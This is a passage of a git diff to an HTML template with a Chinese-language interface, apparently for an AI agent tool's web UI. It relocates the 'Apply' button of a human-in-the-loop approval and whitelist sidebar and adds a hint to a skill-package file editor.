<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
@@ -872,11 +877,11 @@
|
|||||||
<span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span>
|
<span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="hitl-sidebar-header-actions">
|
<span class="sidebar-card-chevron hitl-sidebar-chevron" aria-hidden="true">
|
||||||
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="event.stopPropagation(); window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
|
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
<span data-i18n="chat.hitlApply">应用</span>
|
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||||
</button>
|
</svg>
|
||||||
</div>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
<div class="hitl-sidebar-body" id="hitl-sidebar-body">
|
<div class="hitl-sidebar-body" id="hitl-sidebar-body">
|
||||||
<div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div>
|
<div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div>
|
||||||
@@ -894,6 +899,11 @@
|
|||||||
<textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea>
|
<textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea>
|
||||||
<p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔;与 config 中全局白名单合并展示。</p>
|
<p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔;与 config 中全局白名单合并展示。</p>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="hitl-config-actions">
|
||||||
|
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
|
||||||
|
<span data-i18n="chat.hitlApply">应用</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -3545,8 +3555,9 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="form-group" id="skill-package-editor" style="display: none;">
|
<div class="form-group" id="skill-package-editor" style="display: none;">
|
||||||
<label data-i18n="skillModal.packageFiles">包内文件(标准 Agent Skills 布局)</label>
|
<label data-i18n="skillModal.packageFiles">包内文件(标准 Agent Skills 布局)</label>
|
||||||
|
<small class="skill-package-tree-hint" data-i18n="skillModal.packageFilesHint">点击文件进行编辑;文件夹仅作分组展示,不可点击</small>
|
||||||
<div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;">
|
<div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;">
|
||||||
<div id="skill-package-tree" style="flex: 0 0 240px; max-height: 440px; overflow: auto; border: 1px solid rgba(127,127,127,0.25); border-radius: 6px; padding: 8px; font-size: 13px; line-height: 1.4;"></div>
|
<div id="skill-package-tree"></div>
|
||||||
<div style="flex: 1; min-width: 0;">
|
<div style="flex: 1; min-width: 0;">
|
||||||
<div style="margin-bottom: 8px; font-size: 13px;">
|
<div style="margin-bottom: 8px; font-size: 13px;">
|
||||||
<span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code>
|
<span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code>
|
||||||
|
|||||||
Reference in New Issue
Block a user